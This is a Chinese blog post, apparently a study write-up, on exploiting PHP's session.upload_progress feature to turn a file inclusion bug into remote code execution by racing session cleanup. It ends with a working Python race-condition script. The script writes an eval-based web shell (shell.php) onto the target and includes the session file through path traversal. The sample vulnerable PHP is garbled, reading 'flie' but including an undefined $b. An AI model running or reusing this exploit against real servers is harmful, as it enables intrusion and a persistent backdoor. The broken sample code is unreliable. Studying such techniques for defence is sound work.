PHP Session.upload_progress

0x01 前言

本文主要是利用PHP中的session.upload_progress功能作为跳板,根据参考文件描述所进行的文件包含漏洞利用复现。仅供自我学习使用,侵权立删

由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。

Session 上传进度

注意: 此特性自 PHP 5.4.0 后可用。

session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
session.upload_progress.enabled = on
// 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

0x02 利用 upload_progress 文件包含

源码:

<?php
$file = $_GET['flie'];
include "$b";
?>

可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。

其实,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

1. 代码里没有session_start()时如何创建session文件呢?

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

session还有一个选项,默认情况下session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=Qftm,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm。而且需要一点点技巧就可以不需要进行session_start()。

查看官方给的案列

PHP_SESSION_UPLOAD_PROGRESS的官方手册

http://php.net/manual/zh/session.upload-progress.php

一个上传进度数组的结构的例子

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在session中存放的数据看上去是这样子的:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

Bypass思路分析

从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=Qftm(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。

2. 文件上传后,session文件内容立即清空,如何进行rce呢?

事实上并不能完全的利用成功,因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

Bypass思路梳理

(1)upload file

files={'file': ('a.txt', "xxxxxxx")}

(2)设置cookie PHPSESSID

session.use_strict_mode=0造成Session ID可控

PHPSESSID=Qftm

(3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session

"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

(4)session.upload_progress.cleanup = on

多线程,时间竞争

3. 攻击脚本

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.33.6.145/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

Reference

利用session.upload_progress进行文件包含和反序列化渗透

PHP文件包含漏洞利用思路与Bypass总结手册(宝藏)

原文地址:https://www.cnblogs.com/chalan630/p/14147602.html